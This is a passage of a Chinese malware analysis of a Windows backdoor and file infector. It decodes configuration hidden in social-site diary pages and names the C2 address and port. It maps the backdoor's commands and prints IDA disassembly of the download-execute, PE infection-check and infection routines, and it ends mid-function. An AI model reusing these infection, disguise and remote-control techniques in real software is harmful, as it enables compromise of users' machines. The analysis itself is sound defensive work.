$+28 >6E 2F 43 6F 6E 74 65 6En/Conten
$+30 >74 50 61 6E 65 2E 61 73tPane.as
$+38 >70 78 3F 64 6F 77 6E 3Dpx?down=
$+40 >6F 6B 26 66 69 6C 65 70ok&filep
$+48 >61 74 68 3D 74 65 73 74ath=test
$+50 >37 37 35 38 25 32 66 447758%2fD
$+58 >4E 46 2E 64 61 74 00 NF.dat.
解密后的数据,
的结构为:
struct download_config
{
+0 dword frist_dword 下载的文件大小
+4 byte byte_4取决于byte_5
+5 byte byte_5
+len(filename) 之后的下载连接
}
如果byte_5是“:”,分两种情况,
byte_4是 “%” ,则下到系统目录
byte_4不是 “%” 则会判断文件是否存在,如果不存在,直接下载到当前目录
如果byte_5不是“:”,从偏移为4 开始作为文件名的一部分下载到临时目录
接下来从
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358下载的数据为:
{
window.modData = {"view":{"id":"10052358","gid":"135189","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########AKAAAAAAHAHAAAAAAAAAHAHAAAAAAAAA","weekday":"1","show_time":"2010-11-21 19:46:00","flower":"0","egg":"0","ping":"0","click":"4223644","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/test4862\/diary\/item\/10052358.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290340014"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"catalog":[{"id":"135189","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/test4862\/diary\/group\/135189","count":"1"},{"id":"135190","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/test4862\/diary\/group\/135190","count":"0"},{"id":"135191","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/test4862\/diary\/group\/135191","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\ufe4f\u53f6\u843d\u65e0\u58f0\u3001","face":"http:\/\/p6.u.51img1.com\/63\/63\/236527861_50.gif?v=20111013151050","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"236527861","_user":"aweiy_z","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"4"},"morediary":[],"current":{"gid":"135189","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/test4862\/diary\/group\/135189"}};
}
同样解密算法
返回的大小 0x0a
$ ==> >00 00 00 00 70 70 00 00....pp..
$+8 >00 00 ..
$ ==> 00900020 00 00 00 00 70 70 00 00....pp..
$+8 00900028 00 00 70 70 00 00 00 00..pp....
$+10 00900030 EF 37 66 A3 3B FF FF EF?f?
$+18 00900038 33 7E 7F 3A E6 FF FF FF3~:?
$+20 00900040 EE FF FF FF FF FF FF EF?
$+28 00900048 EF 37 BE 66 EF EF EF EF?緁镲镲
$+30 00900050 66 FF EF EF EF FA F6 FFf镲嵇?
$+38 00900058 EF EF 32 BA 2A FF FF FF镲2?
$+40 00900060 FF FF EF 33 F7 32 73 FF??s
$+48 00900068 EF EF 33 72 36 E7 B2 FF镲3r6绮
$+50 00900070 EF FF EF 27 33 5F 73 73??3_ss
$+58 00900078 FF EF EF 37 A3 5F 2E EE镲7.
$+60 00900080 6F EF EF EF EF 27 33 5Fo镲镲'3_
$+68 00900088 F7 FF EF EF EF 73 ?镲飐镲
struct confif_data_for_backdoor
{
+0 dword 判断是否需要从其他链接中下载配置文件 如果为0 则表示需要 赋值给00401854
+4 word 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为0040184c初始为0 或得结果为70700000
但是解密返回来的大小为0xa 如果这个是个dword明显超出了 我们回头看看其解密过程的末尾
.text:00401AC5 mov ecx,
.text:00401AC8 mov edi,
.text:00401ACB mov esi, edi
.text:00401ACD add esi, 6
.text:00401AD0 rep movsb
显然它把解密后的数据从偏移为6 开始向前覆盖了 所以偏移为+a 的word就是偏移为4的word 即0x7070
}
看看控制的相关代码:
.text:004050CD execute_command_accordingto_dword_flag proc near
.text:004050CD ; CODE XREF: net_activity+102p
.text:004050CD ; net1+1C4p
.text:004050CD
.text:004050CD arg_0_confif_data_for_backdoor_jia_c= dword ptr8
.text:004050CD arg_4_0x1000 = dword ptr0Ch
.text:004050CD
.text:004050CD 55 push ebp
.text:004050CE 8B EC mov ebp, esp
.text:004050D0 ; nop code
.text:004050D7 B8 48 18 40 00 mov eax, 401848h
.text:004050DC F7 00 00 00 00 10 test dword ptr , 10000000h
.text:004050E2 74 0D jz short loc_4050F1
.text:004050E4 FF 75 0C push
.text:004050E7 FF 75 08 push
.text:004050EA E8 2A 0E 00 00 call Download_file_execute
.text:004050EF EB 21 jmp short loc_405112
.text:004050F1 ; nop code
.text:004050F8 B8 48 18 40 00 mov eax, offset unk_401848
.text:004050FD F7 00 00 00 00 20 test dword ptr , 20000000h
.text:00405103 74 0D jz short loc_405112
.text:00405105 FF 75 0C push
.text:00405108 FF 75 08 push
.text:0040510B E8 17 1B 00 00 call CreateFile_Exuecute
.text:00405110 EB 00 jmp short $+2
.text:00405112 ; nop code
.text:00405119 B8 48 18 40 00 mov eax, offset unk_401848
.text:0040511E F7 00 00 00 00 40 test dword ptr , 40000000h
.text:00405124 74 05 jz short locret_40512B
.text:00405126 E8 47 E6 FF FF call Infect_with_flag__
.text:0040512B
.text:0040512B locret_40512B: ; CODE XREF: execute_command_accordingto_dword_flag+57j
.text:0040512B C9 leave
.text:0040512C C2 08 00 retn
if (control_flag& 0x10000000)
下载执行,其中连接由confif_data_for_backdoor+c 指定
goto infect
if (control_flag& 0x20000000)
如果有% 则直接用系统盘替换%
否则,在系统目录下创建文件 文件名由confif_data_for_backdoor+c 指定
goto infect
infect:
if (control_flag& 0x40000000)
if (control_flag& 0x00000001)
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000081什么也不做
40000021 写入与文件夹同名的exe 保证图标与文件夹图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000041 写入与doc同名的exe 保证图标与doc文档图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
40000009 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000011 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
if (control_flag& 0x00000002)
枚举各个盘符只感染如下文件
'RarExt.dll',0
'ppsap.exe',0
'procdll.dll',0
'thunders.dll',0
'Storm.dll',0
前面说过了
confif_data_for_backdoor的第一个dword决定了是否继续下载配置文件 我们下载下来的dword为0 其会继续下载,
http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625
下载的数据为:
{
window.modData = {"view":{"id":"10047625","gid":"133252","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########DLAAAAAAFFCENOKOHDJLHAHAEAAABPABAAGACFDKFMFAHCGPGHHCGBGNCAEGGJGMGFHDFMFEGFGOGDGFGOHEFMFBFBFMENFBFBFCGFHDFMFBFBENHFHDGJGDCOGFHIGFAA","weekday":"1","show_time":"2010-11-21 16:25:00","flower":"0","egg":"0","ping":"0","click":"4216665","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/lichao3596\/diary\/item\/10047625.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290327905"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"catalog":[{"id":"133252","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/lichao3596\/diary\/group\/133252","count":"1"},{"id":"133253","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/lichao3596\/diary\/group\/133253","count":"0"},{"id":"133254","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/lichao3596\/diary\/group\/133254","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u71a0","face":"http:\/\/p3.u.51img1.com\/39\/75\/yilin261010107_50.gif?v=20090528094841&cool=0","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"yilin261010107","_user":"yilin261010107","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"Amu2730","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"amu2730","_user":"amu2730","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"5"},"morediary":[],"current":{"gid":"133252","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/lichao3596\/diary\/group\/133252"}};
}
解密后的数据为:
返回的大小为0x3b
$ ==>>DE AE 73 9B 70 70 40 00蕻s沺p@.
$+8 >1F 01 00 60 25 3A 5C 50.`%:\P
$+10 >72 6F 67 72 61 6D 20 46rogram F
$+18 >69 6C 65 73 5C 54 65 6Eiles\Ten
$+20 >63 65 6E 74 5C 51 51 5Ccent\QQ\
$+28 >4D 51 51 52 65 73 5C 51MQQRes\Q
$+30 >51 4D 75 73 69 63 2E 65QMusic.e
$+38 >78 65 00 63 2E 65 78 65xe.c.exe
$+40 >00 EF 37 66 A3 3B FF FF.?f?
$+48 >EF 33 7E 7F 3A E6 FF FF?~:?
$+50 >FF EE FF FF FF FF FF FF?
这个结构体和前面的结构体解析是一样的 不过这里的第一个dword 不是作为标志了 而是一个ip地址,用来连接执行后门功能的
其中
00401850指向一个sockaddr
struct confif_data_for_backdoor
{
+0 dword ip_address 赋值给00401854
+4 wordport 赋值给00401852
+6 word扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为0040184c初始为0 或得结果为6000011F
}
根据前面的分析 可知道该control_flag 执行的功能为:
创建系统盘:\Program Files\Tencent\QQ\MQQRes\QQMusic.exe
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件
40000008 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件
40000010 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}
枚举各个盘符只感染如下文件
.text:00401B71 52 61 72 45 78 74+String1 db 'RarExt.dll',0 ; DATA XREF: infect_pe+CAo
.text:00401B7C 70 70 73 61 70 2E+aPpsap_exe_0 db 'ppsap.exe',0
.text:00401B86 70 72 6F 63 64 6C+aProcdll_dll db 'procdll.dll',0
.text:00401B92 74 68 75 6E 64 65+aThunders_dll db 'thunders.dll',0
.text:00401B9F 53 74 6F 72 6D 2E+aStorm_dll db 'Storm.dll',0
由配置文件可知其连接的ip为:
222.174.115.155 端口为0x7070
执行后门功能的主要线程地址为:
0040512f
后门的功能包括:
获取系统网络信息
下载执行文件
感染pe文件
获取进程列表
杀进程
删除和拷贝文件
截屏
更新ip地址和端口
还会记录计算机名等其他信息到注册表
等等
代码:
.text:0040512F sub_40512F proc near ; DATA XREF: @net_activity_start+4Do
.text:0040512F
.text:0040512F read_size = dword ptr -5F4h
.text:0040512F fromlen = dword ptr -5F0h
.text:0040512F from = sockaddr ptr -5ECh
.text:0040512F buf = byte ptr -5DCh
.text:0040512F s = dword ptr8
.text:0040512F
.text:0040512F push ebp
.text:00405130 mov ebp, esp
.text:00405132 add esp, 0FFFFFA0Ch
.text:00405138 mov , 10h
.text:00405142
.text:00405142 @recv: ; CODE XREF: sub_40512F+6Ej
.text:00405142 ; sub_40512F+DCj ...
.text:00405142 lea eax,
.text:00405148 push eax ; fromlen
.text:00405149 lea eax,
.text:0040514F push eax ; from
.text:00405150 push 0 ; flags
.text:00405152 push 4B0h ; len
.text:00405157 lea eax,
.text:0040515D push eax ; buf
.text:0040515E push ; s
.text:00405161 ; nop code
.text:00405169 call recvfrom
.text:0040516F test eax, eax ; eax = number of bytes to read
.text:00405171 jz @reand_data_is_zero_ro_toobig
.text:00405177 cmp eax, 4B0h
.text:0040517C ja @reand_data_is_zero_ro_toobig
.text:00405182 mov , eax
.text:00405188 ; nop code
.text:0040518F mov eax, offset sockaddrr
.text:00405194 mov eax,
.text:00405197 cmp eax, dword ptr
.text:0040519D jnz short @recv
.text:0040519F xor eax, eax
.text:004051A1 mov al,
.text:004051A7 cmp eax, 4
.text:004051AA jz short @first_byte_is_4
.text:004051AC cmp eax, 3
.text:004051AF jz short loc_405223
.text:004051B1 cmp eax, 1
.text:004051B4 jz @first_byte_is_1
.text:004051BA cmp eax, 9
.text:004051BD jz @first_byte_is_9
.text:004051C3 cmp eax, 0Ah
.text:004051C6 jz @first_byte_is_a
.text:004051CC cmp eax, 0Ch
.text:004051CF jz @first_byte_is_c
.text:004051D5 cmp eax, 6
.text:004051D8 jz @first_byte_is_6
.text:004051DE cmp eax, 0Dh
.text:004051E1 jz @First_byte_is_D
.text:004051E7 cmp eax, 0Eh
.text:004051EA jz @first_byte_is_e
.text:004051F0 cmp eax, 0Fh
.text:004051F3 jz @first_byte_is_f
.text:004051F9 cmp eax, 10h
.text:004051FC jz @first_byte_is_10
.text:00405202 cmp eax, 11h
.text:00405205 jz @first_byte_is_11
.text:0040520B jmp @recv
.text:00405210 ; ---------------------------------------------------------------------------
.text:00405210
.text:00405210 @first_byte_is_4: ; CODE XREF: sub_40512F+7Bj
.text:00405210 push 8
.text:00405212 lea eax,
.text:00405218 push eax
.text:00405219 call Get_mcname_in_reg
.text:0040521E jmp @recv
.text:00405223 ; ---------------------------------------------------------------------------
.text:00405223
.text:00405223 loc_405223: ; CODE XREF: sub_40512F+80j
.text:00405223 mov eax,
.text:00405229 dec eax
.text:0040522A push eax
.text:0040522B lea eax,
.text:00405231 push eax
.text:00405232 call Set_mcname_in_reg
.text:00405237 jmp @recv
.text:0040523C ; nop code
.text:00405243 mov eax, offset unk_40188C
.text:00405248 cmp dword ptr , 0
.text:0040524B jnz short loc_405273
.text:0040524D mov eax, dword ptr
.text:00405253 push eax
.text:00405254 mov eax, dword ptr
.text:0040525A test eax, eax
.text:0040525C jnz short loc_40526D
.text:0040525E ; nop code
.text:00405265 mov eax, offset sockaddrr
.text:0040526A mov eax,
.text:0040526D
.text:0040526D loc_40526D: ; CODE XREF: sub_40512F+12Dj
.text:0040526D push eax
.text:0040526E call backdoor
.text:00405273
.text:00405273 loc_405273: ; CODE XREF: sub_40512F+11Cj
.text:00405273 jmp @recv
.text:00405278 ; ---------------------------------------------------------------------------
.text:00405278
.text:00405278 @first_byte_is_9: ; CODE XREF: sub_40512F+8Ej
.text:00405278 call query_data_in_reg_send_out
.text:0040527D jmp @recv
.text:00405282 ; ---------------------------------------------------------------------------
.text:00405282
.text:00405282 @first_byte_is_a: ; CODE XREF: sub_40512F+97j
.text:00405282 mov eax,
.text:00405288 dec eax
.text:00405289 push eax
.text:0040528A lea eax,
.text:00405290 push eax
.text:00405291 call Save_recv_data_to_reg
.text:00405296 jmp @recv
.text:0040529B ; ---------------------------------------------------------------------------
.text:0040529B
.text:0040529B @first_byte_is_c: ; CODE XREF: sub_40512F+A0j
.text:0040529B call Send_sysinfo
.text:004052A0 jmp @recv
.text:004052A5 ; ---------------------------------------------------------------------------
.text:004052A5
.text:004052A5 @first_byte_is_6: ; CODE XREF: sub_40512F+A9j
.text:004052A5 call Close_Socket
.text:004052AA jmp @recv
.text:004052AF ; ---------------------------------------------------------------------------
.text:004052AF
.text:004052AF @First_byte_is_D: ; CODE XREF: sub_40512F+B2j
.text:004052AF push 3E8h
.text:004052B4 lea eax,
.text:004052BA push eax
.text:004052BB call Download_File_Execute_
.text:004052C0 jmp @recv
.text:004052C5 ; ---------------------------------------------------------------------------
.text:004052C5
.text:004052C5 @first_byte_is_e: ; CODE XREF: sub_40512F+BBj
.text:004052C5 lea eax,
.text:004052CB push eax
.text:004052CC call Exec
.text:004052D1 jmp @recv
.text:004052D6 ; ---------------------------------------------------------------------------
.text:004052D6
.text:004052D6 @first_byte_is_f: ; CODE XREF: sub_40512F+C4j
.text:004052D6 push 3E8h
.text:004052DB lea eax,
.text:004052E1 push eax
.text:004052E2 call Download_File_Execute
.text:004052E7 jmp @recv
.text:004052EC ; ---------------------------------------------------------------------------
.text:004052EC
.text:004052EC @first_byte_is_10: ; CODE XREF: sub_40512F+CDj
.text:004052EC lea eax,
.text:004052F2 push eax
.text:004052F3 call Delete_FILE_IN_TMP
.text:004052F8 jmp @recv
.text:004052FD ; ---------------------------------------------------------------------------
.text:004052FD
.text:004052FD @first_byte_is_11: ; CODE XREF: sub_40512F+D6j
.text:004052FD push 3E8h
.text:00405302 lea eax,
.text:00405308 push eax
.text:00405309 call Download_File
.text:0040530E jmp @recv
.text:00405313 ; nop code
.text:0040531A mov eax, offset unk_401860
.text:0040531F cmp dword ptr , 0FFFFFFFFh
.text:00405322 jz short @retn
.text:00405324 push 3E8h ; dwMilliseconds
.text:00405329 ; nop code
.text:00405331 ; ---------------------------------------------------------------------------
.text:00405331 call Sleep
.text:00405337 jmp @recv
.text:0040533C ; nop code
.text:00405343 mov eax, 401888h
.text:00405348 mov dword ptr , 0
.text:0040534E leave
.text:0040534F retn 4
.text:0040534F sub_40512F endp
最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:
.text:00401FCE Check_Infect_Or_not proc near ; CODE XREF: infect_pe+124p
.text:00401FCE ; Infect_with_flag+153p ...
.text:00401FCE
.text:00401FCE Section_TABLE = S_PE_SECTION ptr -1B8h
.text:00401FCE PEHEADER = S_PE_HEADER ptr -190h
.text:00401FCE MZHeader = S_MZ_HEADER ptr -98h
.text:00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text:00401FCE hfile = dword ptr -8
.text:00401FCE is_infected = dword ptr -4
.text:00401FCE arg_0_full_file_path= dword ptr8
.text:00401FCE arg_4_patch_call_num= dword ptr0Ch
.text:00401FCE
.text:00401FCE push ebp
.text:00401FCF mov ebp, esp
.text:00401FD1 add esp, 0FFFFFE48h
.text:00401FD7 push ebx
.text:00401FD8 push ecx
.text:00401FD9 push edx
.text:00401FDA push edi
.text:00401FDB push esi
.text:00401FDC mov , 1
.text:00401FE3 mov eax, 0FFFFh
.text:00401FE8 and , eax
打开文件 判断是否是pe文件
.text:00401FEB push 0
.text:00401FED push 80h
.text:00401FF2 push 3
.text:00401FF4 push 0
.text:00401FF6 push 3
.text:00401FF8 push 80000000h
.text:00401FFD push
.text:00402000 ; nop code
.text:00402008 ; ---------------------------------------------------------------------------
.text:00402008 call CreateFileA
.text:0040200E cmp eax, 0FFFFFFFFh
.text:00402011 jz loc_402118
.text:00402017 mov , eax
.text:0040201A push 0
.text:0040201C push 40h
.text:0040201E lea eax,
.text:00402024 push eax
.text:00402025 push
.text:00402028 call Read_fILE
.text:0040202D test eax, eax
.text:0040202F jz @closehandle
.text:00402035 cmp word ptr , 5A4Dh
.text:0040203E jnz @closehandle
.text:00402044 push
.text:00402047 push 0F8h
.text:0040204C lea eax,
.text:00402052 push eax
.text:00402053 push
.text:00402056 call Read_fILE
.text:0040205B test eax, eax
.text:0040205D jz @closehandle
.text:00402063 cmp dword ptr , 4550h
.text:0040206D jnz @closehandle
.text:00402073 xor ecx, ecx
.text:00402075 mov ebx,
.text:00402078 add ebx, 0F8h
节的数目不能大于0x10
.text:0040207E movzx ecx,
.text:00402085 cmp ecx, 10h
.text:00402088 ja short @closehandle
.text:0040208A mov , 0
读取每个节的头0x50 个bytes 进行解密 检查
.text:00402091
.text:00402091 @loop_section_check: ; CODE XREF: Check_Infect_Or_not+130j
.text:00402091 test ecx, ecx
.text:00402093 jz short @closehandle
.text:00402095 push ebx
.text:00402096 push 28h
.text:00402098 lea eax,
.text:0040209E push eax
.text:0040209F push
.text:004020A2 call Read_fILE
.text:004020A7 test eax, eax
.text:004020A9 jz short @closehandle
.text:004020AB push
.text:004020B1 push 50h
.text:004020B3 lea eax,
.text:004020B6 push eax
.text:004020B7 push
.text:004020BA call Read_fILE
.text:004020BF test eax, eax
.text:004020C1 jz short @closehandle
.text:004020C3 lea edi,
.text:004020C6 mov eax,
.text:004020C8 mov esi, 50h
.text:004020CD
.text:004020CD @decrypt_first_0x50_section: ; CODE XREF: Check_Infect_Or_not+10Bj
.text:004020CD test esi, esi
.text:004020CF jz short @check_infect_or_not
.text:004020D1 xor , eax
.text:004020D3 sub esi, 4
.text:004020D6 add edi, 4
.text:004020D9 jmp short @decrypt_first_0x50_section
.text:004020DB ; ---------------------------------------------------------------------------
.text:004020DB
如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
third_dword & 0xffff要大于等于传进来的要抽取多少个call的数量,否则的话也不会设定已经被感染
.text:004020DB @check_infect_or_not: ; CODE XREF: Check_Infect_Or_not+101j
.text:004020DB cmp dword ptr , 77582588h
.text:004020E2 jnz short @next_section
.text:004020E4 mov eax, dword ptr
.text:004020E7 test eax, 10000h
.text:004020EC jnz short @already_infected
.text:004020EE and eax, 0FFFFh
.text:004020F3 cmp eax,
.text:004020F6 jge short @already_infected
.text:004020F8 jmp short @closehandle
.text:004020FA ; ---------------------------------------------------------------------------
.text:004020FA
.text:004020FA @next_section: ; CODE XREF: Check_Infect_Or_not+114j
.text:004020FA add ebx, 28h
.text:004020FD dec ecx
.text:004020FE jmp short @loop_section_check
.text:00402100 ; ---------------------------------------------------------------------------
.text:00402100
.text:00402100 @already_infected: ; CODE XREF: Check_Infect_Or_not+11Ej
.text:00402100 ; Check_Infect_Or_not+128j
.text:00402100 mov , 1
.text:00402107
.text:00402107 @closehandle: ; CODE XREF: Check_Infect_Or_not+61j
.text:00402107 ; Check_Infect_Or_not+70j ...
.text:00402107 push
.text:0040210A ; nop code
.text:00402112 ; ---------------------------------------------------------------------------
.text:00402112 call CloseHandle
.text:00402118
.text:00402118 loc_402118: ; CODE XREF: Check_Infect_Or_not+43j
.text:00402118 mov eax,
.text:0040211B pop esi
.text:0040211C pop edi
.text:0040211D pop edx
.text:0040211E pop ecx
.text:0040211F pop ebx
.text:00402120 leave
.text:00402121 retn 8
感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:
.text:00402124 Infect_EXE_dllproc near ; CODE XREF: infect_known_file+82p
.text:00402124 ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter = dword ptr -48h
.text:00402124 alloc_address1= dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep = dword ptr -24h
.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2= dword ptr -1Ch
.text:00402124 filesize = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr8
.text:00402124 arg_4_patch_call_num= dword ptr0Ch
.text:00402124
.text:00402124 push ebp
.text:00402125 mov ebp, esp
.text:00402127 add esp, 0FFFFFCF4h
.text:0040212D push esi
.text:0040212E push edi
.text:0040212F push ecx
.text:00402130 push edx
.text:00402131 push ebx
.text:00402132 mov , 0
.text:00402139 mov eax, 0FFFFh
.text:0040213E and , eax
打开文件判断是否是pe文件
.text:00402141 push 0 ; hTemplateFile
.text:00402143 push 80h ; dwFlagsAndAttributes
.text:00402148 push 3 ; dwCreationDisposition
.text:0040214A push 0 ; lpSecurityAttributes
.text:0040214C push 3 ; dwShareMode
.text:0040214E push 0C0000000h ; dwDesiredAccess
.text:00402153 push ; lpFileName
.text:00402156 ; nop code
.text:0040215E call CreateFileA
.text:00402164 cmp eax, 0FFFFFFFFh
.text:00402167 jz @fail
.text:0040216D mov , eax
.text:00402170 push 0
.text:00402172 push 40h
.text:00402174 lea eax,
.text:0040217A push eax
.text:0040217B push
.text:0040217E call Read_fILE ; arg_0_file_handle= dword ptr8
.text:0040217E ; arg_4_outputbuffer= dword ptr0Ch
.text:0040217E ; arg_8_read_size = dword ptr10h
.text:0040217E ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:00402183 test eax, eax
.text:00402185 jz @closehandle
.text:0040218B cmp word ptr , 5A4Dh
.text:00402194 jnz @closehandle
.text:0040219A push
.text:004021A0 push 0F8h
.text:004021A5 lea eax,
.text:004021AB push eax
.text:004021AC push
.text:004021AF call Read_fILE ; arg_0_file_handle= dword ptr8
.text:004021AF ; arg_4_outputbuffer= dword ptr0Ch
.text:004021AF ; arg_8_read_size = dword ptr10h
.text:004021AF ; arg_C_read_offset_from_file_begin= dword ptr14h
.text:004021B4 test eax, eax
.text:004021B6 jz @closehandle
.text:004021BC cmp dword ptr , 4550h
.text:004021C6 jnz @closehandle
.text:004021CC xor ecx, ecx
.text:004021CE xor edx, edx
.text:004021D0 mov , edx
.text:004021D3 mov ebx,
.text:004021D9 add ebx, 0F8h
节的数目不能大于0x10
.text:004021DF movzx ecx,
.text:004021E6 cmp ecx, 10h
.text:004021E9 ja @closehandle
判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not: ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF test ecx, ecx
.text:004021F1 jz loc_4022C6
.text:004021F7 push ebx
.text:004021F8 push 28h
.text:004021FA lea eax,
.text:00402200 push eax
.text:00402201 push
.text:00402204 call Read_fILE ; arg_0_file_handle= dword ptr8
.text:00402204 ; arg_4_outputbuffer= dword ptr0Ch
.text:00402204 ; arg_8_read_size = dword ptr10h
